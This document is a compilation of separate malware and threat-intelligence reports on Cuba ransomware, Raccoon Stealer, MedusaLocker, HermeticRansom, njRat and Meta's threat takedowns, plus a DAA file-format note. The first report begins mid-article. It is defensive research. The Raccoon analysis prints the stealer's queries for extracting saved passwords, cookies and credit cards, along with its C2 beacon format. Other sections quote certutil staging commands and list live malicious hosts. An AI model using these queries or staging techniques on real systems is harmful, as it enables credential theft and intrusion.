Notably, the wording of the ransom note used in the latest variant is different from the previous one that the malicious actors used in the samples we analyzed in March this year, but the onion site indicated in both ransom notes is the same. The ransom note used in late April 2022 explicitly states that they will publish exfiltrated data on their Tor site if the victims refuse to negotiate after three days, an apparent use of the double extortion technique. The ransomware gang did not clearly state the threat of publication of stolen data in the ransom note dropped in March 2022.
Another new feature of the latest ransom note is the addition of quTox, a means for technical support to the ransomware victims to facilitate ransom payment negotiation.
We are still investigating the latest set of samples and have yet to establish the entire infection chain for the new Cuba ransomware variant. As mentioned, the indicators that were commonly seen in most of the recent infections were not present in the latest samples we saw. Moreover, our detections of new samples in May suggest that Cuba ransomware’s attacks will persist in the coming months, possibly with more updates to the malware that are par for the course.
## Recommendations
As new malware variants emerge, a proactive cybersecurity stance is important to ensure that organizations are protected against modern ransomware threats. To defend systems against similar attacks, organizations can establish security frameworks that systematically allocate resources based on an enterprise’s needs.
Consider following the security frameworks established by the Center of Internet Security and the National Institute of Standards and Technology when developing your own cybersecurity strategies. The frameworks they created help security teams to mitigate risks and minimize exposure to threats. Implementing the best practices discussed in their respective frameworks can save organizations the time and effort when they customize their own. Their frameworks guide organizations through the whole process of planning while providing suggestions on measures that need to be established first.
## Indicators of Compromise (IOCs)
**SHA256**: 89288de628b402621007c7ebb289233e7568307fb12a33aac7e834504c17b4af
**Trend Micro Detection**: Ransom.Win32.BACUCRYPT.YPCD2T
Trend Micro Research observed the resurgence of the Cuba ransomware group that launched a new malware variant using different infection techniques compared to past iterations. We discuss our initial findings in this report. |
# The DAA File Format
In diary entry "Malicious .DAA Attachments", we extracted a malicious executable from a Direct Access Archive file. Let's take a closer look at this file format. Here is a hex/ascii dump of the beginning of the file:
With the source code of DAA2ISO, I was able to make some sense of this data. I highlighted important parts:
1. First we have the magic sequence: DAA...
2. Second, we have an offset (0x0000004C) to the list of compressed chunk lengths.
3. Third, we have the file format version: 0x00000100.
4. Fourth, we have an offset (0x0000005E) to the first compressed chunk.
And then we have the list of chunk lengths (position 0x0000004C) and the chunks themselves (position 0x0000005E). The list of compressed chunk lengths is a bit special: each length value is encoded with 3 bytes, using neither big-endian nor little-endian format. The number format is the following: hex value 697 is encoded as 00 97 06. So first you have the most significant byte, then the least significant byte, and then the remaining middle byte. Together with the pointer to the first compressed chunk (position 0x0000005E), we can use this length list to calculate the offsets of the other compressed chunks.
Example: the second chunk is located at 0x5E + 0x697 = 0x06F3. DAA version 0x100 uses zlib compression (DEFLATE), and the compressed data is stored without header. Armed with this information, I could write a Python script to extract and decompress the chunks stored inside a DAA file.
However, I wrote a different program. For quite some time, I was playing with the idea to write a program that can detect compressed data inside a binary stream. Since a DAA file is essentially a concatenation of zlib compressed chunks, such a program should also be able to extract and decompress the ISO file inside a DAA file.
Here is the result of my beta program running on the DAA sample: Each line represents compressed data found by the tool. The columns are:
1. Start position of compressed data (hexadecimal)
2. Size of the compressed data (decimal)
3. Size of the decompressed data (decimal)
4. Size of the remaining data (decimal)
This generic method will also generate false positives: data that decompresses but is not actual compressed data. Like the first line: it's very small (4 bytes compressed, 2 bytes decompressed) and is actually inside the DAA header. So this is clearly a false positive. Option -n can be used to impose a minimum length on the compressed data. This can be used to filter out some false positives.
Remark that the first byte sequence of compressed data is found at position 0x5E, the same position as mentioned in the header. And the second byte sequence of compressed data is found at position 0x6F5, that's the position that we calculated with the length of the first chunk. All decompressed chunks have a size of 65536, except the last chunk: that's how the DAA format stores the embedded ISO file. It's chopped-up in chunks of 65536 each, that are then compressed.
Finally, I can use option -d to decompress and concatenate all compressed chunks. A similar file format is also used for other CD/DVD image formats, like the gBurner format, compressed ISO format, etc. |
# Raccoon Back with New Claws!
By Rahul R
July 18, 2022
Raccoon infostealer was first released in April 2019. The initial Version 1 (V1) was distributed in Telegram groups and other forums as Malware-as-a-Service (MaaS). Now the stealer has been updated with new features and comes packed with commercial packers. It has a stealthy way of gaining information from the system using Windows APIs. This blog discusses in depth the Version 2 (V2) of Raccoon Stealer and its method to obtain information.
The stealer is usually downloaded when a user tries to download cracked software, thus the malware is added with around 400MB of junk in the overlay along with an invalid digital signature from AVG.
## Analysis
The sample is around 417MB, disguises itself as Windows File System Proxy, has an invalid digital signature, and comes packed with VMProtect. The analysis is based on the unpacked binary.
### Version Information
#### Dynamic API Resolving
The malware begins by resolving the required APIs dynamically through LoadLibrary and GetProcAddress. It uses LoadLibrary to get the handles of kernel32.dll, shell32.dll, user32.dll, advapi32.dll, wininet.dll, ole32.dll, crypt32.dll, and passes the returned handle as an argument to LoadLibrary to get the address of the required WinAPI and stores them at a memory offset.
#### String Decryption
The sample uses the RC4 algorithm for decrypting the base64 strings stored in binary. First, the string is base64 decoded using CryptStringToBinary API, passing the dwFlags argument as CRYPT_STRING_BASE64 (0x1). The decoded base64 string is saved in a variable and passed as an argument to the function which RC4 decrypts the string using the hardcoded symmetric key “edinayarossiya” (“United Russia” – a political party in Russia).
Complete list of strings decrypted is listed in Appendix A.
#### Retrieve C2 URL
The binary uses the same string decryption method discussed above to retrieve the C2 URL. For the decryption of the C2, it uses a different hardcoded RC4 symmetric key “b616297870490e1028b141f53eb3afe8,” which is later used as config ID when initial information is sent.
#### Checks System Locale
The malware then proceeds to check the locale of the system using GetUserDefaultLocaleName API and checks the returned string with a DWORD from virtual address 0x40E000. In this variant, this locale check does not affect the behavior of the malware. Usually, threat actors opt for an option for excluding victims from certain geolocals. It seems like the threat actors here have that option but are not using it.
#### Checks Mutex
The malware checks for a mutex with the name “8724643052.” If not, it creates one. If the mutex exists, then it kills itself to stop running multiple times.
#### Checks for System Privilege
The malware retrieves the Current Process access token and compares it to the SID of NTAuthority\System (“S-1-5-18”). If it matches, it executes the function to enumerate the active process list.
### Gather Initial Information
The malware initially collects machine GUID, username, and sends it to C2, awaiting a response for further information gathering. Machine GUID is obtained from the registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography” under “MachineGUID.” The malware sends the initial information to C2 in the following syntax:
```
machineId=<machineGUID>|<username>&configid=<RC4_key used to decrypt C2>
```
After converting the collected initial data into a Unicode string, it sends a POST request to the decrypted C2 using an unusual User-Agent String “record.” The data is sent in form data format.
After making the request, the connection handle is kept open until it receives a data response. It waits for the POST response until the size of the response is greater than 64 bytes.
### Process C2 Response
The C2 response contains the URLs of the DLLs needed to collect detailed information. A GET request is made to download all the DLLs, and they are saved in the APPDATA_LOCAL folder. The path to APPDATA_LOCAL is retrieved using the API SHGetFolderPath with CSIDL passed as “CSIDL_LOCAL_APPDATA” (0x1c). If the response doesn’t have the string “Token” in it, the malware kills itself.
### Collect Detailed Information
After downloading the required DLLs, it changes the current working directory and adds the path to the APPDATA_LOCAL directory to the “PATH” Environment Variable using SetEnvironmentVariableW.
#### System Info.txt
The malware first collects the system information and sends it as a POST request to the C2. The following information is collected using WinAPI:
- **Locale**: The malware collects the current locale using the API GetLocaleInfoW.
- **TimeZone**: Timezone is retrieved using API GetTimeZoneInformation.
- **Product Name**: Windows version is retrieved by querying the registry key “HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\” and data “ProductName.”
- **Architecture**: The malware checks if the SYSWOW64 directory exists on the system; if unavailable, it considers the architecture as 32-bit; else, architecture is 64-bit.
- **Processor**: The processor information is obtained using the ASM instruction “CPUID” (CPU Identification).
- **RAM**: The exact amount of physical storage is retrieved using the API GlobalMemoryStatusEx, which returns the “LPMEMORYSTATUSEX” structure. From the returned structure, the malware takes the field “ullTotalPhys” and right shifts by 20 bits to convert it into MB.
- **Display Height and Width**: Display height and width are obtained using the API “GetSystemMetrics” by passing the argument 0x0 (SM_CXSCREEN) to retrieve width and 0x1 (SM_CYSCREEN) to get height.
- **Display Devices**: The display is enumerated and saved using the API “EnumDisplayDevicesW.”
All the collected information about the system is sent immediately to the C2 without saving it to a file.
### Cookies.txt
After collecting all the information related to the system, it proceeds to collect browser saved passwords, credit card details, and cookies using the following DLLs:
1. **Sqlite3.dll** – to collect login ID and passwords from Chrome(ium) based browsers.
2. **mozglue.dll/nss3.dll** – to collect login ID and passwords from Firefox.
The following queries are used to query the required information:
```
SELECT origin_url, username_value, password_value FROM logins
SELECT host_key, path, is_secure, expires_utc, name, encrypted_value FROM cookies
SELECT name, value FROM autofill
SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
SELECT fieldname, value FROM moz_formhistory
SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards
```
The stealer even has the capability to collect crypto wallets if found on the system and sends all the collected information to C2 immediately.
### Captures Screenshot
A series of Windows APIs are used to capture the screenshot of the infected machine, which is sent to C2. The flow is similar to the example code given by Microsoft.
### Cleanup
The malware deletes all the files downloaded from the internet after the information is sent to C2.
## Activity
We strongly recommend not to download any cracked software to avoid infection with malware. We at K7 Labs provide detection against the latest threats and also for this newer variant of Raccoon Stealer. Users are advised to use a reliable security product such as “K7 Total Security” and keep it up-to-date to safeguard their devices.
## Indicators of Compromise (IOC)
- **File Name**: launchctl.exe
**Hash**: b0bc998182378e73e2847975cc6f7eb3
**K7 Detection Name**: Trojan (005690671)
- **C2**: hxxp://www[.]retro-rave[.]xyz
- **IP**: 51.195.166[.]184
- **User-Agent**: record
## Appendix: Strings Decrypted during Runtime (Using RC4 key: “edinayarossiya”)
```
tlgrm_
ews_
grbr_
%s TRUE %s %s %s %s %s
URL:%s
USR:%s
PASS:%s
%d) %s
– Locale: %s
– OS: %s
– RAM: %d MB
– Time zone: %c%ld minutes from GMT
– Display size: %dx%d
%d
– Architecture: x%d
– CPU: %s (%d cores)
– Display Devices:
%s
formhistory.sqlite
logins.json
autofill.txt
cookies.txt
passwords.txt
*/*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Type: multipart/form-data; boundary=
Content-Type: text/plain;
User Data
wallets
wlts_
ldr_
scrnsht_
sstmnfo_
token:
nss3.dll
sqlite3.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion
PATH
ProductName
Web Data
sqlite3_prepare_v2
sqlite3_open16
sqlite3_close
sqlite3_step
sqlite3_finalize
sqlite3_column_text16
sqlite3_column_bytes16
sqlite3_column_blob
SELECT origin_url, username_value, password_value FROM logins
SELECT host_key, path, is_secure, expires_utc, name, encrypted_value FROM cookies
SELECT name, value FROM autofill
SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
SELECT fieldname, value FROM moz_formhistory
cookies.sqlite
machineId=
&configId=
“encrypted_key”:”
stats_version”:”
Content-Type: application/x-object
Content-Disposition: form-data; name=”file”; filename=”
GET
POST
Low
MachineGuid
image/jpeg
GdiPlus.dll
Gdi32.dll
GdiplusStartup
GdipDisposeImage
GdipGetImageEncoders
GdipGetImageEncodersSize
GdipCreateBitmapFromHBITMAP
GdipSaveImageToFile
BitBlt
CreateCompatibleDC
DeleteObject
GetObjectW
SelectObject
SetStretchBltMode
StretchBlt
SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards
NUM:%s
HOLDER:%s
EXP:%s/%s
\CC.txt
NSS_Init
NSS_Shutdown
PK11_GetInternalKeySlot
PK11_FreeSlot
PK11_Authenticate
PK11SDR_Decrypt
SECITEM_FreeItem
hostname”:”
“,”httpRealm”:
encryptedUsername”:”
“,”encryptedPassword”:”
“,”guid”:
Profiles
``` |
# Microsoft Exchange Servers Hacked to Deploy Cuba Ransomware
**By Bill Toulas**
**February 24, 2022**
The Cuba ransomware operation is exploiting Microsoft Exchange vulnerabilities to gain initial access to corporate networks and encrypt devices. Cybersecurity firm Mandiant tracks the ransomware gang as UNC2596 and the ransomware itself as COLDDRAW. However, the ransomware is more commonly known as Cuba, which is how BleepingComputer will reference them throughout this article.
Cuba is a ransomware operation that launched at the end of 2019, and while they started slow, they began to pick up speed in 2020 and 2021. This increase in activity led to the FBI issuing a Cuba ransomware advisory in December 2021, warning that the gang breached 49 critical infrastructure organizations in the U.S.
In a new report by Mandiant, researchers show that the Cuba operation primarily targets the United States, followed by Canada.
## Mixing Commodity and Custom Malware
The Cuba ransomware gang was seen leveraging Microsoft Exchange vulnerabilities to deploy web shells, RATs, and backdoors to establish their foothold on the target network since August 2021. "Mandiant has also identified the exploitation of Microsoft Exchange vulnerabilities, including ProxyShell and ProxyLogon, as another access point leveraged by UNC2596 likely as early as August 2021," explains Mandiant in a new report.
The planted backdoors include Cobalt Strike or the NetSupport Manager remote access tool, but the group also uses their own ‘Bughatch’, ‘Wedgecut’, ‘eck.exe’, and ‘Burntcigar’ tools. Wedgecut comes in the form of an executable named “check.exe,” which is a reconnaissance tool that enumerates the Active Directory through PowerShell. Bughatch is a downloader that fetches PowerShell scripts and files from the C&C server. To evade detection, it loads in memory from a remote URL.
Burntcigar is a utility that can terminate processes at the kernel level by exploiting a flaw in an Avast driver, which is included with the tool for a “bring your own vulnerable driver” attack. Finally, there’s a memory-only dropper that fetches the above payloads and loads them, called Termite. However, this tool has been observed in campaigns of multiple threat groups, so it’s not used exclusively by the Cuba threat actors.
The threat actors escalate privileges using stolen account credentials sourced through the readily available Mimikatz and Wicker tools. Then they perform network reconnaissance with Wedgecut, and next, they move laterally with RDP, SMB, PsExec, and Cobalt Strike. The subsequent deployment is Bughatch loaded by Termite, followed by Burntcigar, which lays the ground for data exfiltration and file encryption by deactivating security tools. The Cuba gang doesn’t use any cloud services for the exfiltration step but instead sends everything onto their own private infrastructure.
## An Evolving Operation
Back in May 2021, Cuba ransomware partnered with the spam operators of the Hancitor malware to gain access to corporate networks through DocuSign phishing emails. Since then, Cuba has evolved its operations to target public-facing services vulnerabilities, such as the Microsoft Exchange ProxyShell and ProxyLogon vulnerabilities. This shift makes the attacks more potent but also easier to thwart, as security updates that plug the exploited issues have been available for many months now.
The Cuba operation will likely turn its attention to other vulnerabilities once there are no more valuable targets running unpatched Microsoft Exchange servers. This means that applying the available security updates as soon as the software vendors release them is key in maintaining a robust security stance against even the most sophisticated threat actors.
**Bill Toulas** is a technology writer and infosec news reporter with over a decade of experience working on various online publications. An open source advocate and Linux enthusiast, he is currently finding pleasure in following hacks, malware campaigns, and data breach incidents, as well as exploring the intricate ways through which tech is swiftly transforming our lives. |
# Part 1: Analysing MedusaLocker Ransomware
In this 3-part post, we share the tradecraft from an RDP brute force linked ransomware event (MedusaLocker) we responded to in June 2020. We cover the business ramifications of the attack, technical analysis, and some advice based on attacks such as these.
Ransomware is a sad fact of life in 2020. While the “big game hunting” actors (Maze, REvil et al) get the attention of the media and industry by claiming high-profile scalps, far less attention is given to the victim and attacker from smaller origins. There are a host of actors (often under-researched or reported) engaged in ransomware operations. Most of them could be classified as opportunistic rather than persistent.
In this post, we focus on pre-impact operations as a complete intrusion. These artefacts would normally be heavily degraded or destroyed by the ransomware or by the need for a business to recover (often wiping evidence). You’ll see how we found and analysed a host that failed to encrypt correctly – this host also turned out to be the initial entry point and staging post for the operators. As we go through our analysis, we’ll point out which part of the kill chain the attacker is up to and where this maps to the MITRE ATT&CK framework.
It’s important to note that these adversaries weren’t particularly stealthy or advanced. They doubled up on a lot of tooling and functionality, yet they were able to completely overmatch the defenses presented to them. They achieved their goals by having enough effectiveness.
## The Ramifications of the Attack
As a result of this attack, the organisation experienced the following:
- **Encryption of:**
- 75% of end-user compute devices (these devices wouldn’t boot at all – we’re unsure if this was deliberate).
- 100% of servers (however, the server that was the point of entry and staging post failed to encrypt completely, leaving parts of its system drive available for analysis).
- Mapped drives, shared drives, Dropbox, OneDrive (this organisation didn’t have enterprise licenses for its cloud file sharing solutions, making recovery more difficult).
- ERP System (over 500 hours to rebuild and move to a SaaS application). This resulted in all purchase/sales orders, inventories, ledgers, GST, shipping, and financial records being lost.
- EDI services, which resulted in all automatic order placing and fulfilment being halted.
- Backups – variously encrypted or degraded. USB + network-attached storage schemes were all hit, forcing the rebuild of critical ERP and EDI solutions from much older backups - which added additional time and complexity.
- **Time from initial access to domain-wide encryption:** ~25 hrs (16/06/2020 3:38 am to 17/06/2020 ~5 am)
- **Time to be able to trade again:** 8 working days (and hundreds of recovery and rebuild hours behind the scenes plus manual trading with incremental improvements as data structures were recovered).
As we go through each stage of the attack, it's worth role-playing this scenario in your own organisation to see how you would recover the loss of such data types. You can use the MITRE ATT&CK mapping to overlay your organisation’s controls and your ability to detect and stop a similar attack.
This dataset comes from one intrusion without good instrumentation, and thus may not represent a total picture of the actor’s TTPs. In the forensic analysis, bits were missing, and the pieces we found often made little sense. Still, by piecing together a timeline, we could be reasonably confident about the adversary activity that had happened.
## Intrusion Analysis
### Background
We received a phone call from the client on the morning of June 17th, 2020. We’d supported their ERP and EDI systems in the past but were not currently their IT outsource partner. They reported that all computers in their environment were not booting and that they thought they’d been attacked.
A search on Shodan showed one of their servers had RDP exposed, giving a possible source of entry (we were sadly correct). When our team arrived on site, we found their environment was completely shut down; all of their workstations wouldn’t boot, and all servers were powered off.
On the particular server that this analysis is from, we found its RAID array reporting it was in a degraded state (we’re not sure if the ransomware did this), leaving us with some difficult choices when it came to triage and imaging. To our surprise, the ransomware failed to completely execute on this host. While all of the non-system drives (10+ TB of them) were completely encrypted, and its system drive was partially encrypted, we later saw that the task executing it had failed. Most of this analysis comes from imaging of the file system on that host.
### Initial Access
Initial Access was via RDP brute-forcing (T1110) to a Domain Controller that had RDP open to the internet (T1133 – External Remote Services). This (obviously dangerous) configuration was set up to enable remote access by the clients’ main IT provider.
The initial logon via an admin account was recorded at 16/06/2020 3:38 am NZT from 185.202.1[.]19. Landing on an account with DA on a DC certainly made the job of the ransomware operator’s life somewhat easier and shortened the kill chain. However, the assessment shows they would have been able to carry out their objectives given the low-security posture of the environment regardless. Logons were also observed from 213.7.208[.]69 & 5.2.224[.]56.
### Execution
Fragments of several interesting tool chains were recovered from the server. As the vector of entry was RDP, graphical tools were used (T1061) and recovered shellbags support this.
The intruder staged their tooling in a pre-existing folder - C:\SQLDB\. Event logs record large amounts of PowerShell (T1086) activity being executed, although the system had PowerShell 2.0 installed, so no useful information was logged as to what was run specifically. Timestamps also show the Powershell_ise.exe binary was also accessed.
Recovered Certutil Logs reference the PowerShell modules Connect-Mstsc.ps1, PSnmap.psd1 (both of which are the names of pre-made modules widely available online) and a more enigmatic 2sys.ps1 (“Command Line: CertUtil -decode file.b64 2sys.ps1”) which shares a name to a script referenced in a Carbon Black report on another ransomware group from 2018 (Dharma).
This usage of CertUtil is evidence of Remote File Copies (T1105). MACB timestamps also suggest WMIC was used, although given the utility of this software its purpose cannot be confirmed. It may have been caused by some of the intruder's tooling rather than directly invoked.
In addition to other precompiled binaries and tools (7za, via certutil: CertUtil -decode za 7za.exe), the Certutil.log file once again offers some evidence of staging tooling; with the following commands executed (via script):
< trimmed for brevity>
With a total of 48 numbered arch<$number>.b64 files decoded in sequence.
Based on the prior collection of 7za.exe (a command-line version of 7zip) and the fact the first of these files ended was decoded to have a .zip extension, it’s a reasonably safe assertion that this was a multipart archive file.
Additional file structures beneath the C:\SQLDB\ folder were visible via shellbags, in particular folders called `kamikadze new`, `_local`, and `77`. The intruder installed a C++ Runtime library (Microsoft Visual C++ 2015 x86 Runtime 14.0.23026) to the system. It appears as though this or some of the other parts of the software deployed prompted the system to collect a large number of Windows updates (such as KB2999226). These artefacts are inconclusive but were not exhaustively searched, as are the subsequent .msi’s the system installed (their names variously available as deleted registry items) not long before executing the ransomware.
**Lead author:** Hamish Krebs, Lead Consultant
Hamish has spent time across Australia and New Zealand responding to advanced threat actors; running large DFIR engagements in complex environments. He’s also designed and deployed a variety of security solutions such as SIEMs and EDR suites across APAC. |
# Help for Ukraine: Free Decryptor for HermeticRansom Ransomware
On February 24th, the Avast Threat Labs discovered a new ransomware strain accompanying the data wiper HermeticWiper malware, which our colleagues at ESET found circulating in Ukraine. Following this naming convention, we opted to name the strain we found piggybacking on the wiper, HermeticRansom. According to analysis done by Crowdstrike’s Intelligence Team, the ransomware contains a weakness in the crypto schema and can be decrypted for free.
If your device has been infected with HermeticRansom and you’d like to decrypt your files, follow the instructions below.
The ransomware is written in GO language. When executed, it searches local drives and network shares for potentially valuable files, looking for files with one of the extensions listed below:
.docx .doc .dot .odt .pdf .xls .xlsx .rtf .ppt .pptx .one .xps .pub .vsd .txt .jpg .jpeg .bmp .ico .png .gif .sql .xml .pgsql .zip .rar .exe .msi .vdi .ova .avi .dip .epub .iso .sfx .inc .contact .url .mp3 .wmv .wma .wtv .acl .cfg .chm .crt .css .dat .dll .cab .htm .html .encryptedjb
In order to keep the victim’s PC operational, the ransomware avoids encrypting files in Program Files and Windows folders.
For every file designated for encryption, the ransomware creates a 32-byte encryption key. Files are encrypted by blocks, each block has 1048576 (0x100000) bytes. A maximum of nine blocks are encrypted. Any data past 9437184 bytes (0x900000) is left in plain text. Each block is encrypted by AES GCM symmetric cipher. After data encryption, the ransomware appends a file tail, containing the RSA-2048 encrypted file key. The public key is stored in the binary as a Base64 encoded string.
Encrypted file names are given an extra suffix: .[vote2024forjb@protonmail.com].encryptedJB. When done, a file named “read_me.html” is saved to the user’s Desktop folder.
There is an interesting amount of politically oriented strings in the ransomware binary. In addition to the file extension, referring to the re-election of Joe Biden in 2024, there is also a reference to him in the project name. During the execution, the ransomware creates a large amount of child processes that do the actual encryption.
## How to Use the Avast Decryptor to Recover Files
To decrypt your files, please follow these steps:
1. Download the free Avast decryptor.
2. Simply run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
3. On the initial page, you can read the license information, if you want, but you really only need to click “Next.”
4. On the next page, select the list of locations which you want to be searched and decrypted. By default, it contains a list of all local drives.
5. On the final wizard page, you can opt-in whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt,” the decryption process begins. Let the decryptor work and wait until it finishes.
## IOCs
SHA256: 4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382
Tagged as analysis, decryptors, malware, ransomware, reversing. |
# Meta’s Adversarial Threat Report, First Quarter 2023
Today, as part of our quarterly threat reporting, we’re sharing a number of security updates, including our Q1 Adversarial Threat Report and insights into our work against malware campaigns.
Over the past five years, we’ve shared our findings about threats we detect and remove across our technologies. In this threat report, we’re sharing information about six networks we took down for violating our policies against coordinated inauthentic behavior (CIB) and three cyber espionage operations we took action against. We have shared information about our findings with industry partners, researchers, and policymakers. Here are the key insights from our first quarter 2023 Adversarial Threat Report:
We took action against three cyber espionage operations in South Asia. One was linked to a group of hackers known in the security industry as Bahamut APT (advanced persistent threat), one to the group known as Patchwork APT, and another to the state-linked actors in Pakistan. Here is what stood out from our threat research:
1. **Diversifying social engineering efforts:** These APTs relied heavily on social engineering and invested in making some of their fake accounts look like more varied and elaborate fictitious personas they created across the internet so they can withstand scrutiny by their targets, platforms, and researchers. While we saw them continue using traditional lures like women looking for a romantic connection, they also posed as recruiters, journalists, or military personnel.
2. **Continued reliance on low-sophistication malware:** This investment in social engineering means that threat actors did not have to invest as much on the malware side. Our investigation into these APTs showed that cheaper, low-sophistication malware can be effective in targeting people when used together with social engineering. In fact, for two of these operations, we observed a reduction in the malicious capabilities in their apps, likely to ensure they can be published in official app stores.
3. **Impact of public disruptions and threat reporting:** In response to the security community continuing to disrupt these APTs, these groups have been forced to set up new infrastructure, change tactics, and invest more in hiding and diversifying their operations in order to persist, which likely degraded their operations.
We also took down six covert influence operations for violating our policy against CIB. These unconnected networks originated in the United States, Venezuela, Iran, China, Georgia, Burkina Faso, and Togo. More than half of them targeted audiences outside of their countries. We removed the majority of these operations before they were able to build authentic audiences. Here is what stood out from our threat research:
1. **Creating fictitious entities across the internet:** In an attempt to build credibility, nearly all of these operations invested in creating fake entities, including news media organizations, hacktivist groups, and NGOs. They operated on many services, including Facebook, Twitter, Telegram, YouTube, Medium, TikTok, Blogspot, Reddit, WordPress, freelancer.com, hacking forums, and their own websites.
2. **Fake hacktivists from Iran:** The operation from Iran posted claims of having hacked organizations in Israel, Bahrain, and France, including news media, logistics and transport companies, educational institutions, an airport, a dating service, and a government institution. This is not the first time an Iran-origin operation claimed to have hacked government systems; a similar claim was promoted by another CIB network we removed ahead of the 2020 US election.
3. **For-hire operations:** As we called out in our past reporting, we continue to see for-hire organizations behind covert influence operations globally, with half of the networks in this report attributed to private entities. This includes an IT company in China, a marketing firm in the United States, and a political marketing consultancy in the Central African Republic.
The evolution of China-origin operations: This report brings the total of the China-origin CIB networks we removed since 2017 to six, with half of them reported in the last seven months. These latest takedowns signal a shift in the nature of the China-based CIB activity we’ve found with new threat actors, novel geographic targeting, and new adversarial tactics. However, we continue to find and remove them before they are able to build their audience. These networks experimented with a range of tactics we haven’t seen in China-based operations before, although we’ve observed them elsewhere over the years, including in operations linked to troll farms and marketing and PR firms. The latest behaviors included creating a front media company in the West, hiring freelance writers around the world, offering to recruit protesters, and co-opting an NGO in Africa.
We know that adversarial threats will keep evolving in response to our enforcement and that new malicious behaviors will emerge. We’ll continue to refine our enforcement and share our findings publicly. We are making progress in rooting out this abuse; it is an ongoing effort and we’re committed to continually improving to stay ahead. |
# njRat: Indicators of Compromise
**March 5, 2020**
## Indicators of Compromise
**Hostnames analyzed:**
- Bank.capeturk.com
- Blog.capeturk.com
- Checkout.capeturk.com
- Capeturk.com
- anandpen.com
- 1111.elitfilmizle.com
- 2222.elitfilmizle.com
- 3333.elitfilmizle.com
- 4444.elitfilmizle.com
- 5555.elitfilmizle.com
- 5566.elitfilmizle.com
- 6666.elitfilmizle.com
- 7777.elitfilmizle.com
- 8888.elitfilmizle.com
- 9999.elitfilmizle.com
**Hashes analyzed:**
- f96417ac25a982029d005a9b78810d8094957d899f022d4094428cb531427b86
- f457e43f4531daf4503099719ba006507263a0eb42d1b2ddc162c5641aaba767
- ea7031e622e25a3c124536c6891a2837
- f74753a00b573293877b600f3fcb07d4
- 814199891030efcfdcd2e6a69737c0aec988abaf291866ded93fdb106c0fb0f3
- b0462820a0e516fb02df9564d87cad6a38fe216c860e59431a5c9c3efc78cbeb
- f594b2d6da0651a40deac6bd82007f94199a9562f8d6775659fe41f4a10a3771
- 2dc296c006fcdcf2686f198ecab3062e82e0eee463fbd6353b6b4b1947280888
- 45049f8a8d88a4ac27cfb1f4fe3fcf4251513ec7ad843e03f4de1808500a1375
- 183ac932864cc6b6ab95ed88a22dcbdd
- 0976e694c4646365a98522ef16938429
- 582b4f470ee6c292f84e0b4ba703d68f33137df215bc6c9fbd65299fd3006d10
- 74d73e52463b0b2767cbfcbeb800990d396e705fcb339b4e7e0dcc2abc3197d9
- 7d44b457ae9b60bad8ee4b24b1c8c51b
- b8daa07f1de6bb8d9c07711cf5bb604f354cfb3fc22d739d7c840c8bc6b354ec
- 4eec407378006b5bd825cb4de3aede8fe7ed2c008db7754278fdff39e1862487
- 70d3e609808234d5d9e8a8e954c02049
- 9d485826635a0e303f6295c820fca6d8
- e5cbd0a9e58eab5b8bf1d65dd9ee63bf
- f226ce7a0d50e7e282245a0a5ae17889
- fc27a725058aae1b4d694bd335b80706
- fe569498a60d5be7da6e144d43583bbd0041ec47d30eb0d43ff9be997ece3eb5
- 4249c35b061ffc71a2d3b2779b8ebebd71abf04e51e642f504a4f2854b849c54
- 8a13021ee99a21d609862fd7648a235a7e7674664fa455eb6a235d6bb8743c91
- 783e226744aefeaa067b49f497419a9723f3bbb6d8e87361a23698a3895d2182
- 40447fc64e2cf55eee2aae61e54a336c
- 1750704e555fbe08da00e627bea0cef9a1bda5400025ac5d026f59148a00d730
- f5cadfdd91775481cabc4ed4c38336a07a3ced7ad4cd19908356aabcb032ebce
- ce150671ce0d30e3c7f6b270852febe95e5c1654d9615bf66638d013fb4f48a3
- 2b2b5de1c1c8e9d150e02c6fe9e7f17d
- cdfae51020657e3a27e905323ab83f6e
- 5fa84e5764d380053767763f07082d97d8e4e91bb042745f6341e6a23b530827
- b9e8fdd406644d2785d78c12d67be21c39f4aba2c224d5f54d4ba6c2ede34f88
- e3d1d657594213b7d15d3c77a576c7a4112b90cd99b83d7af1fbe229cc4d8014
- 325004df85a5b20b6ca6c63286075255
- 8eb9a8f310c504e7eeef38b1dd6c78ae40b9614231fb8c256cb6ea14aff13f38
- 88a00be2c82d36388da88b4bea525bda3ab1fe970258a7ef6fa29cedf1eaa668
- c81d1465cbf0ad925f03e15424da772141c4aca1e6cfa8a5701124ef50f26377
- f39f30565f50e60e1ca012df006d7a776f71881e76dd07ad1befcdae80fc002b
- 6e09f57c3407db65a6fb8d228d6d0be02e8721d1c53273772b6719332efbbc51
- 6d3e19bd7b6519342074928dabf98e25a6339f3a35abb19e8ad6f2d66eee1152
- 2fde4eb59df5b21cb197127a9b65ad514d6a68b21d8ff8bdee8360c367972b8e
- e0ccd60c68c9be69825206edd7b07e18
- 0a8a7c5b9b13c5cfd22f5073a5a903bd
- 008996207931fea8c15aa2bbcdd9a792
- e3e2a3d5309effe743665acb7bc5622b
- c7ce17b5dc6175c49b7a9e08aaeaa0b6b8fc4b39d75e02a6bb63b0cfc40b6ec6
- 330b6a93cd6ce3902fb09d92dbb26435310f8a8f328d7520026d09e74a5f3959
- 673d6a572daa7e77a0934376a2cfa59102d67335aaebe93a76238b098feeb55d
- 057250a00019605b74399b3be6f568dba2df47bffd36841ed7ccba37fb639db1
- a902015e2bb3f6efd452a294850073384cb0fa0d11f52c3f5073ffbac36b1502
- 52d9db54e1a3d233b21b7b890d821452
- f5efcc7ddaf2a41576ad1a3388540fa26a58654b28f2b6796dcde14733e9639a
- c23d3cc04e75af395332102c7941425f61e8bdefc0fbf6e93f275f762c40a3cc
- 985f865aab0a70f521b1eb2d4ee0ae37
- a1fa6ff309e1e65f3fc8587f91fee865
- 69c20c3a5b70f958e8c0d1c7a403cbc1de157dc9c9dface371cf03bfe78a60de
- 27d2084c1ad920288b2250f6bc81ef54
- ce7b90d2ffdd347fd2f9937fd6806543
